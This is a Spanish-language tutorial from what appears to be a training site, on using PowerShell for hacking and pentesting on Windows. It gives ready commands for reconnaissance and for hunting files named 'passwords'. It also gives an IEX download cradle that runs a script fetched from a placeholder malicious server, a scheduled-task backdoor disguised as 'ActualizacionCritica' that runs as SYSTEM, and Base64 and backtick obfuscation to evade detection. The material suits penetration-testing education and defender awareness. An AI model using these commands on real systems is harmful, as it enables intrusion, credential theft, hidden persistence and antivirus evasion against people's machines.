Hacking con PowerShell
www.onlinetis.com
El uso de PowerShell en el ámbito del hacking y el pentesting es muy común y poderoso, especialmente en entornos de Windows. Los atacantes y los pentesters lo utilizan por varias razones: es una herramienta nativa de Windows, está presente en casi todos los sistemas, y la mayoría de las defensas no lo bloquean por completo, ya que es fundamental para la administración del sistema.
Aquí tienes un resumen de cómo se utiliza PowerShell para propósitos de hacking, con ejemplos clave.
1. Reconocimiento y enumeración 🕵️♂️
PowerShell se puede usar para recopilar información sobre un sistema comprometido, como quién es el usuario, qué procesos están corriendo o qué servicios están instalados.
Identificar el usuario actual y el nombre del host:
PowerShellwhoami /user hostname
Obtener información detallada del sistema operativo:
PowerShellGet-ComputerInfo
Listar los procesos en ejecución:
PowerShellGet-Process
Encontrar archivos sensibles:
PowerShellGet-ChildItem -Path C:\ -Include *passwords*.txt -Recurse -ErrorAction SilentlyContinue
Este comando busca cualquier archivo que contenga la palabra "passwords" en su nombre, en todo el disco C:.
-ErrorAction SilentlyContinue
se usa para ignorar los errores de permisos.
2. Escalada de privilegios 🔓
Una vez que se tiene una sesión de usuario de bajo nivel, se puede usar PowerShell para buscar vulnerabilidades locales o configuraciones incorrectas que permitan convertirse en administrador.
Buscar configuraciones incorrectas en servicios:
PowerShellGet-Service | Where-Object {$_.BinaryPathName -notlike 'C:\Windows\*' -and $_.Status -eq 'Running'}
Este script busca servicios que se estén ejecutando desde una ubicación no estándar, lo cual podría indicar un servicio vulnerable.
Verificar si el usuario tiene privilegios de administrador:
Fragmento de código[bool]([System.Security.Principal.WindowsPrincipal][System.Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([System.Security.Principal.WindowsBuiltInRole]::Administrator)
Este es un one-liner que devuelve
True
si el usuario tiene privilegios de administrador.
3. Ejecución de payloads y persistencia 👻
PowerShell es ideal para ejecutar código malicioso directamente en la memoria, sin tener que escribir un archivo en el disco, lo que dificulta la detección por parte de los antivirus.
Descargar y ejecutar un script remoto:
PowerShellIEX(New-Object Net.WebClient).DownloadString('http://servidor_malicioso/script.ps1')
El comando
IEX
(Invoke-Expression
) ejecuta el código que descarga el objetoNet.WebClient
desde la URL especificada.Crear una puerta trasera (backdoor) con una tarea programada:
PowerShell$trigger = New-ScheduledTaskTrigger -AtLogOn $action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '-ExecutionPolicy Bypass -File C:\Users\Public\backdoor.ps1' Register-ScheduledTask -TaskName "ActualizacionCritica" -Trigger $trigger -Action $action -User "SYSTEM"
Este script crea una tarea programada que se ejecuta cada vez que un usuario inicia sesión, lo que asegura la persistencia del atacante en el sistema.
4. Defensas y ofuscación 🛡️
Los atacantes también usan PowerShell para evadir la detección y ofuscar su código, haciendo que sea más difícil de analizar.
Codificación Base64:
Los scripts maliciosos a menudo se codifican en Base64 para ocultar sus intenciones.
PowerShell$comandos = "IEX(New-Object Net.WebClient).DownloadString('http://..." $encoded = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($comandos))
El atacante luego ejecuta el código codificado con el parámetro
-EncodedCommand
.Ofuscación simple:
Reemplazar nombres de variables y usar backticks (`) para dividir cadenas puede confundir a las herramientas de análisis.
PowerShellg`e`t`-`c`h`i`l`d`i`t`e`m -`p`a`t`h C:\